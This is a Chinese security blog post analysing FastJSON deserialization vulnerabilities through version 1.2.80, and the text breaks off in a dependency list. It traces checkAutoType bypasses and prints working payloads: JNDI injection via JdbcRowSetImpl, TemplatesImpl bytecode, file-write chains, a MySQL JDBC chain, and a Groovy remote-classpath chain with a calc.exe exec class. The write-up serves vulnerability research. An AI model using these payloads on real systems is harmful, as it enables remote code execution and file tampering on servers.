freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

FastJSON(全系漏洞分析-截至20230325)
2023-03-25 14:52:45
所属地 广东省


前言

FastJSON也不是什么新奇玩意了,之前都是看别的师傅的分析文章,也没有自己手动调试过,纸上学来终觉浅;这次决定自己手动调试一下,跟踪一下各个利用链以及原理;

全文一共7407个字,建议慢慢看;

截至到目前,FastJSON>=1.2.83还未有新的漏洞,所以我的分析聚集在1.2.80及以下;

使用的POC来自:https://github.com/safe6Sec/ShiroAndFastJson

概述

FastJSON可以使用@type属性将JSON字符串转化为指定的类,例如

{
"@type":"com.zeanhike.User",
"name":"zhangsan",
"age":18
}
//在JSON字符串中已指定@type属性
JSON.parse(s1) //获得User类型的对象
JSON.parseObject(s1)  //获得JSONObject类型的对象
JSON.parseObject(s1,Object.class) //获得User类型的对象

当JSON字符串转换成对象时,如果setter方法满足如下条件,会调用setter方法为对象的属性赋值

  • 方法名长度大于4

  • 非静态方法

  • 返回值为void或者当前类

  • 以set开头且第四个字母为大写

  • 参数个数为1个

当不满足如上条件之一时,但是getter方法满足如下条件时,会调用getter方法

  • 方法名长度大于4

  • 非静态方法

  • 以get开头且第四个字母为大写

  • 无参数传入

  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

  • 此属性没有setter方法

1679725928_641e95680dbf406a0567c.png!small?1679725928172

使用ASM动态生成一个专门的类为属性赋值

1679725938_641e9572106dc6ff8a21e.png!small?1679725938356

Fastjson还有以下功能点:

  1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数

  2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串

  3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

fastjson<=1.2.24

com.sun.rowset.JdbcRowSetImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.rowset.JdbcRowSetImpl

payload:

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}

先调用setDataSourceName为父类BaseRowSet的dataSource属性赋值

1679725952_641e95806904e95517cff.png!small?1679725952702

1679725959_641e95871660abd591a9d.png!small?1679725959270

然后调用setAutoCommit为autoCommit赋值

1679725965_641e958d31fa593017c53.png!small?1679725965405

在赋值过程中,调用了connect方法

1679725972_641e9594071dbf6f4707a.png!small?1679725972286

在connect方法中获取dataSourceName属性的值,进行lookup,造成JNDI注入

1679725978_641e959ac96df29d359b5.png!small?1679725979365

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

会先为TemplatesImpl对象的属性进行赋值,由于这些属性都没有setter方法,但是开启了Feature.SupportNonPublicField特性,就可以成功赋值而不需要setter方法,由于_outputProperties这个属性有getter方法,且满足之前说的特性,所以当设置完所有属性的值后,会调用它的getter方法,也就是getOutputProperties

1679725990_641e95a64dd1848568ca4.png!small?1679725990476

跟进newTransformer()

1679725996_641e95ac71a6ec286659e.png!small?1679725996630

跟进getTransletInstancew()

1679726004_641e95b48282090a786d3.png!small?1679726004932

_name不为空且_class为空,才会进入defineTransletClasses()

1679726010_641e95bad8b0a7482d2f3.png!small?1679726011213

在defineTransletClasses()方法中,首先_tfactory属性不能为空,否则会造成空指针异常,同时在后面将二维数组_bytecode属性转化为Class对象,同时存入一维数组_class属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然这个索引不会更新当前位置

然后回到getTransletInstance()方法

1679726019_641e95c3a60aa1467bb50.png!small?1679726020083

这里根据_class属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE

1.2.25<=fastjson<=1.2.41

在1.2.25版本及以上,在ParserConfig中新增了黑白名单,同时存在一个autoTypeSupport属性用来设置是否支持反序列化,同时多了个checkAutoType方法用来检测非法操作;

在DefaultJSONParser中的parseObject方法中,调用了ParserConfig的checkAutoType进行校验并加载类

1679726036_641e95d4957ffb334116a.png!small?1679726036884

在ParserConfig的checkAutoType方法中传入我们指定的类

1679726043_641e95db501ea05b64bd9.png!small?1679726043648

这里会判断autoTypeSupport属性的值,所以我们看看默认的autoTypeSupport属性的值

由于在new一个ParserConfig时,会设置autoTypeSupport属性还有denyList(黑名单)、acceptList(白名单)

1679726050_641e95e29fdf13b5898af.png!small?1679726050955

而这里autoTypeSupport被赋值成AUTO_SUPPORT

1679726059_641e95eb08c0cb036b36c.png!small?1679726059300

而AUTO_SUPPORT在类实例化时,默认为false

这里会到checkAutoType方法

1679726066_641e95f21d994473acf33.png!small?1679726066667

1679726074_641e95fa7947197275d54.png!small?1679726074770

1679726080_641e96001d1589f5c34bd.png!small?1679726080284

传递的两个参数,第一个为反序列化的类,第二个为null

然后进行如下操作:

  1. autoTypeSupport为false,从缓存中找是否有该类的Class,找不到再从Map中找到该类的ObjectDeserializer

  2. 然后进行黑白名单匹配

  3. 最后抛出JSONException异常,autoType is not support.~

若是autoTypeSupport属性为true,进行如下操作:

  1. 进行黑白名单匹配

  2. 从缓存中找是否有该类的Class,找不到再从Map中找到该类的ObjectDeserializer

  3. 然后调用TypeUtils.loadClass(typeName, this.defaultClassLoader);加载这个类

这里进入TypeUtils.loadClass(typeName, this.defaultClassLoader)

1679726119_641e96277af9bd62009f9.png!small?1679726120154

这里如果className是以[开头或者L开头;结尾,就会截取中间部分,去除这些符号

所以这里可以绕过黑白名单限制,当设置了autoTypeSupport属性为true时,我们可以往@type指定的类前面加[或者L开头;结尾进行黑白名单绕过

fastjson=1.2.42

1.2.42版本将黑名单变成hashcode

1679726128_641e96300c7b0db978425.png!small?1679726128338

而在checkAutoType中

1679726133_641e96359c9034d153940.png!small?1679726133947

会对L开头;结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)加载类

这里双写L和;即可绕过

fastjson=1.2.43

同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[绕过

1679726140_641e963c9bc29d570ee4f.png!small?1679726141054

payload比较特别:

{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true
}
@type后紧跟[代表数组,以{开头表示数组中的一个元素,多少个{表示数组有多少个元素,例如:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true,{xxx,{xxx
}

1.2.44<=fastjson<=1.2.45

在1.2.44中修改[符号产生的绕过

不过依然可以使用黑名单不存在的类进行绕过

{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

这个需要依赖mybatis框架

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>

fastjson<=1.2.47

可以在不开启autoTypeSupport且绕过黑白名单的情况下进行RCE,在checkAutoType方法中,若没有开启autoTypeSupport则会走到这里

1679726150_641e9646424f8d5e073e1.png!small?1679726150782

从两个地方取,如果取的到就返回

1679726157_641e964dee530967d0772.png!small?1679726158166

这里可以通过往TypeUtils的缓存中存入我们的类

1679726164_641e9654afb32ae2b2a14.png!small?1679726165000

而在TypeUtils中的loadClass可以存入缓存,而在MiscCodec的deserialze中会调用TypeUtils中的loadClass进行类加载并存入缓存

1679726172_641e965cc73957bb48125.png!small?1679726173466

这里重点是strVal,strVal是我们存入的缓存类,然后往上翻

1679726181_641e96652f73d53f12597.png!small?1679726181486

strVal来源于objVal,objVal来源于parser.parse,同时这里有个细节就是lexer.stringVal解析到的JSON键必须为val不然会抛出错误,然后parser.parse就是拿到JSON的值,所以可以指定键为val,值为com.sun.rowset.JdbcRowSetImpl,这样就会将com.sun.rowset.JdbcRowSetImpl加入缓存中

所以什么时候会调用MiscCodec的deserialze方法呢?

在DefaultJSONParser的parseObject会调用

1679726189_641e966d4f8c55440f137.png!small?1679726189943

这里根据clazz从ParserConfig中取deserializer

ParserConfig中有一个deserializers属性,专门用来存deserializer

1679726196_641e96744f7549e66ce84.png!small?1679726196479

在ParserConfig的initDeserializers会初始化这个属性,往里面存一些Class和对应的deserializer

1679726203_641e967bd5b60a84f3beb.png!small?1679726204797

这里会存入MiscCodec,它对应Class类型

1679726230_641e96965fb9f028ba934.png!small?1679726230511

所以回到DefaultJSONParser的parseObject中

1679726221_641e968d9f653bfaa5d56.png!small?1679726222060

当clazz为Class时,会获取Class对应的deserializer,也就是MiscCodec,调用它的deserialize方法,这个clazz可以通过@type进行设定

最后的payload如下

{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}
}

这里传递的JSON字符串存在两个对象,第一个对象用来将指定类存入缓存中,第二个对象用来触发JNDI注入

1.2.48<=fastjson<=1.2.68

在MiscCodec的deserialze中将cache设置成false,不允许存入缓存

1679726245_641e96a519df18407390a.png!small?1679726245396

但是也产生了新型绕过

在ParserConfig的checkAutoType中,利用expectClass绕过

这里看看

1679726251_641e96abbb5ad4c63fae4.png!small?1679726253006

首先expectClass不能为null,且不能等于Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection,才会将expectClassFlag设置成true

1679726262_641e96b603471c197061c.png!small?1679726262650

其次,在未开启autoTypeSupport的情况下,会匹配黑白名单,所以不能跟黑名单里的类相同

1679726269_641e96bdc82f7f1e5dc79.png!small?1679726270182

expectClassFlag为true后,会根据typeName使用TypeUtils的loadClass去加载类,后面若clazz是expectClass的子类就放入huan'c返回

1679726277_641e96c55254e7955cf17.png!small?1679726277393

也就是说这里typeName要为expectClass的子类,才能绕过checkAutoType的检测,同时绕过autoTypeSupport的限制

而只有两处地方,会调用checkAutoType且传递expectClass参数

1679726283_641e96cb2e9bf50d2e2d6.png!small?1679726283682

一个在ThrowableDeserializer的deserialize中

1679726289_641e96d10c5d9d59a3609.png!small?1679726289651

另一个在JavaBeanDeserializer的deserialize中

先看ThrowableDeserializer的deserialize,在checkAutoType调用完后并返回class后

1679726296_641e96d8e012a3e56665d.png!small?1679726297024

在下面会直接创建实例

而在JavaBeanDeserializer的deserialize中

1679726301_641e96ddb8955e38af6fa.png!small?1679726302056

调用完checkAutoType得到userType后,会获取userType对应的deserializer,然后调用deserialize方法,触发userType的反序列化,执行setter或getter方法

1679726315_641e96eb6b810c442fb29.png!small?1679726315600

网上公开的poc:

这个使用了JavaBeanDeserializer那条链,但是我在jdk8下复现失败

1679726328_641e96f8252d4433c92bd.png!small?1679726328481

这是因为fastjson在通过带参构造函数进行反序列化时,会检查参数是否有参数名信息,只有含有参数名信息的带参构造函数才会被认可

1679726334_641e96fe34fef645807d3.png!small?1679726334322

而我用的Windows下,Oracle JDK8的MarshalOutputStream类,不含有LocalVariableTable

由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而很多第三方库里的字节码是有 LocalVariableTable 的。

浅蓝发的1.2.68利用第三方gadget写文件

{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "d:/test/pwn.txt",
"tempPath": "d:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

依赖的jar包有点多

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

这里有个细节,就是在一些属性下使用了$ref,例如outputStream属性下,键$ref,值为$.stream,代表为outputStream属性赋值为stream对象;

首先调用SafeFileOutputStream的带参构造函数,然后调用Output的无参构造函数,使用setter为属性赋值,最后调用SerialOutput的构造函数

1679726347_641e970b0f071e5da9066.png!small?1679726347299

这里的out为Output,进入super中

1679726353_641e971121d5016e1e6e5.png!small?1679726353489

包装out成BlockDataOutputStream,然后调用setBlockDataMode

1679726358_641e9716f0186239093f9.png!small?1679726359099

然后调用drain

1679726364_641e971cc2cbba8424057.png!small?1679726364943

进行数据写入

1679726389_641e9735c73ab5667210e.png!small?1679726389963

继续传递

1679726394_641e973ad471e20873adc.png!small?1679726395187

写完数据调用require方法

1679726400_641e9740dfc52397e6cd7.png!small?1679726401081

进入this.flush()

1679726406_641e97462d22728a9e91a.png!small?1679726406352

调用SafeFileOutputStream进行写,此时才是真正写到文件,写完调用flush关闭

MarshalOutputStream进行文件读写跟这个调用链差不多

使用commons-io库

这也是使用了JavaBeanDeserializer那条链


{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}

层层包装,使用TeeInputStream作为连接输入流和输出流的桥梁

大致过程就是:

  1. XmlStreamReader的构造函数触发read,然后用TeeInputStream进行read,TeeInputStream又用ReaderInputStream进行read,ReaderInputStream又用CharSequenceReader从字符序列中进行read

  2. 在TeeInputStream中的read方法中,read完之后会调用write进行写入,也就是调用WriterOutputStream进行write,WriterOutputStream又用FileWriterWithEncoding进行write

流程图如下:

1679726417_641e97515162333814c86.png!small?1679726417870

1679726423_641e97579781685da2166.png!small?1679726424001

1679726429_641e975d38ce8bff5d10f.png!small?1679726429451

1679726434_641e9762f37469052acb1.png!small?1679726435311

循环读取

1679726446_641e976ece38a867efc06.png!small?1679726447196

1679726456_641e9778ed6cddab04d89.png!small?1679726457348

1679726463_641e977f75df18024285f.png!small?1679726463752

1679726476_641e978c2572662a595a5.png!small?1679726476546

1679726484_641e979498586d51d1b17.png!small?1679726484869

从字节序列中取,然后返回

返回到TeeInputStream的read方法中,然后进行write

1679726494_641e979e8d87aee6d07b4.png!small?1679726495839

1679726508_641e97ac080de88b630da.png!small?1679726508325

1679726517_641e97b5505a8cfcefae9.png!small?1679726517663

1679726522_641e97ba987f853201f9d.png!small?1679726522845

1679726527_641e97bfe1462b89f3442.png!small?1679726528313

然后进行文件写入

这里面有两个个细节:

  1. "charSequence":{"@type":"java.lang.String""aaaaaa"}对于这种畸形JSON,仍然能解析

  2. 执行该POC后虽然文件能创建但是无法写入

因为我懒,直接贴原作者的图进行解释

原文链接Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析(以下部分为引用)



当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里

sun.nio.cs.StreamEncoder#implWrite

1679726537_641e97c94adc6fc0ceec6.png!small?1679726538316

问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?

可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:

1679726549_641e97d507871e602f9c4.png!small?1679726549562

也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:

1679726553_641e97d9b7ee7986e5ca7.png!small?1679726554607

因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。



可以使用$ref引用同一个对象进行循环写入

{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"D:/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

XmlStreamReader在构造器方法会触发doRawStream()方法,在doRawStream()方法中触发getBOMCharsetName(),在getBOMCharsetName()中触发getBOM(),getBOM()触发TeeInputStream的read()方法,此时TeeInputStream为同一个对象(因为引用了上一个对象),就可以达循环读写。

该思路引导了很多人使用该库进行其他方式的利用

{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""input your content"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"./1.txt"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":"input your bytes"            
}],
"x":{
"$ref":"$.bom"
}
}

这个很巧妙使用了$ref,$.bom获取根对象的bom属性,根对象为BOMInputStream

这可以循环调用,例如:

获取班级下的学生的姓名
new Classes().getStudent().getName()
假设根对象为班级,对应JSONPath为
$.student.name

JSONPath会进行分段,段有很多类型

1679726568_641e97e890b4e9119b500.png!small?1679726568818

这里对应的是属性段PropertySegment,将$.student.name分成两个PropertySegment对象,一个是代表student属性的PropertySegment对象,第二个是代表name属性的PropertySegment对象;然后会遍历每个段调用eval方法

1679726573_641e97edca36537afb071.png!small?1679726573999

1679726580_641e97f44f030f0219fb3.png!small?1679726580788

获取属性值,会调用该属性的getter方法

所以$.bom会调用getBOM()方法触发利用链进行读取

还有使用Mysql进行SSRF和反序列化漏洞攻击的

使用mysql-connector-java库

SSRF没太大用,这里不说,利用反序列化漏洞可以RCE,但是需要依赖对应java应用程序需要有相关的链

Mysql JDBC反序列化攻击

当我们控制了连接数据库的字符串时,我们可以伪造一个数据库,将需要反序列化的恶意对象存储在BLOB类型的字段中,当客户端获取该BLOB类型的数据时会自动反序列化造成RCE

github上有fake mysql server配合该poc进行RCE

//<=1.2.68 and mysql 8.0.19可反序列化 >8.0.19可SSRF
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": ""
}],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}

类似的还有PostgreSQL JDBC RCE

SafeMode

在1.2.68存在safemode

1679726593_641e9801d7fb1d1cbe62b.png!small?1679726594168

默认为关闭,只要开启会直接抛出异常,不解析@type指定的JSON字符串

1.2.80<=fastjson<=1.2.69

在1.2.69中

在ParserConfig的checkAutoType中,若expectClass为AutoCloseable,则设置expectClassFlag为false,导致AutoCloseable为首的利用链都无法使用

1679726601_641e98091b3331610c29a.png!small?1679726601384

加的这三个expectHash为java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable

1679726605_641e980d655c441828ad1.png!small?1679726605574

虽然JavaBeanDeserializer这条路走不通,但是仍然可以走ThrowableDeserializer这条路

使用groovy库

这个适用于1.2.76~1.2.80,为啥1.2.76以下不适用呢?后面会说

网上的payload是:

//两次parse
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8080/"
}
}

之前说过为Exception的子类可以绕过checkAutoType(),然后调用createException()创建实例

ThrowableDeserializer.deserialize()

1679726613_641e98153188153111a0a.png!small?1679726613613

绕过checkAutoType(),并设置exClass为CompilationFailedException

但是重点在CompilationFailedException的unit属性中,在第二次扫描符号时,扫描到unit属性

1679726617_641e9819b5d797f009fc5.png!small?1679726618058

然后将key和parser.parser()放进otherValues,key为unit,parser.parse()解析JSON字符串的unit属性的值,指定为空,所以这里为空

1679726622_641e981ebfe10a1b93e9c.png!small?1679726623135

但是由于CompilationFailedException的构造函数不符合条件,所以无法创建实例,ex为null,只能创建Exception()实例并赋值给ex

1679726628_641e98246cf31b2c59448.png!small?1679726628801

otherValues不为null,获取unit属性的deserializer,判断unit的Class不是value的实例的话,调用TypeUtils.cast()方法,然后传递unit属性的类型,unit属性为ProcessingUnit类

1679726660_641e9844611f074a9d2c0.png!small?1679726661023

cast又调用cast,套娃

1679726666_641e984ac702d203d3f29.png!small?1679726667172

cast方法里又调用castToJavaBean

1679726672_641e98500165397aad3e8.png!small?1679726672403

在castToJavaBean方法里,调用getDeserializer获取ProcessingUnit类的deserializer

1679726677_641e985595d782f096b5b.png!small?1679726677921

然后调用getDeserializer的重载,套娃

1679726683_641e985b72a14090ea0ac.png!small?1679726683740

然后在getDeserializer方法的重载里,创建了ProcessingUnit类型的deserializer,然后调用putDeserializer

1679726689_641e98617cdfe72960d62.png!small?1679726690320

在putDeserializer方法里,将ProcessingUnit类型的deserializer放进了ParserConfig的deserializers属性中,这是后面绕过checkAutoType()的关键

1679726695_641e98677fc22c721d2d4.png!small?1679726696119

然后一路返回deserializer

1679726704_641e9870c7e8c576ad20c.png!small?1679726705186

不符合条件创建实例失败,返回null

1679726710_641e987642b9f5f6c082b.png!small?1679726710776

然后setValue

第一次POC触发,将ProcessingUnit类型的deserializer放进了ParserConfig的deserializers中

在第二次POC触发中,

1679726715_641e987b47e1adff3641e.png!small?1679726715658

检测@type属性的类时,调用checkAutoType方法

1679726720_641e988024219980e8182.png!small?1679726720452

由于已将ProcessingUnit类的deserializer放进了缓存中,所以这里可以找到clazz,绕过了checkAutoType的限制

同时第二次使用了JavaBeanDeserializer那条链,在对JavaStubCompilationUnit进行checkAutoType时,因为传入了expectClass,所以过了checkAutoType的检测

1679726725_641e9885612f558e79244.png!small?1679726725715

后面创建JavaStubCompilationUnit类的deserializer,然后它的调用deserialze方法,后面反射调用JavaStubCompilationUnit类的构造器创建实例

1679726731_641e988b1cd76649c1ccd.png!small?1679726731481

1679726737_641e989108f84c528e952.png!small?1679726737619

1679726742_641e989643c128aa6e9d8.png!small?1679726742630

1679726747_641e989b32d4328dddd48.png!small?1679726747618

1679726753_641e98a164f0f01db77df.png!small?1679726753674

1679726759_641e98a77c378c9856443.png!small?1679726759901

将JSON字符串中classpathList属性的值(http://127.0.0.1:8080/)添加到classpath

继承关系:

1679726767_641e98afde0e905fd709e.png!small?1679726768094

在CompilationUnit的构造函数中super调用完后,会调用ASTTransformationVisitor.addPhaseOperations(this)

1679726775_641e98b7100e1b607289b.png!small?1679726775586

然后调用addGlobalTransforms

1679726781_641e98bde684b6c8bae8d.png!small?1679726782747

然后调用doAddGlobalTransforms

1679726787_641e98c341c8303d5c927.png!small?1679726787681

获取META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件中的内容,META-INF/services/org.codehaus.groovy.transform.ASTTransformation该文件的内容就是我们要执行的恶意类的类名

1679726793_641e98c94fc4833b0a7fd.png!small?1679726794040

1679726798_641e98ce52259996aa533.png!small?1679726798742

然后调用addPhaseOperationsForGlobalTransforms(),transformNames中存储了我们的恶意类

1679726804_641e98d418d1d43392c31.png!small?1679726804520

在addPhaseOperationsForGlobalTransforms方法中,进行加载类,并实例化我们的恶意类,这个恶意类要为ASTTransformation的子类

1679726810_641e98dad37b91c031ad7.png!small?1679726811539

我的恶意类:

package org.example.groovy;

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class AK implements ASTTransformation {


public AK() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {

}
}

总结

第一次使用ThrowableDeserializer那条链,将Exception作为expectClass绕过checkAutoType,成功加载CompilationFailedException,然后在获取属性unit(ProcessingUnit类)的deserializer放入缓存

第二次使用JavaBeanDeserializer那条链,由于ProcessingUnit的deserializer已放入缓存,所以绕过了checkAutoType,然后调用JavaStubCompilationUnit的构造函数触发后续操作

而最最关键的TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig())方法是用来将deserializer放入缓存的,没有它就不会有第二步操作

而一开始说的为啥1.2.76以下不适用呢?因为在1.2.76版本下没有cast调用

这是1.2.76版本下的:

1679726822_641e98e66372c1923b56c.png!small?1679726822894

对比1.2.76~80:

1679726829_641e98edb0b4d55222c11.png!small?1679726830320

文件读取

使用aspectJ库

利用aspectJ进行文件读取,一种是错误回显,另一种是dnslog(不成功)

虽然只依赖一个库,但是会由于各种限制,并不会直接将错误结果返回到前台

所以这个略过

使用aspectjtools库、ognl库以及commons-io库

依赖三个jar包

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
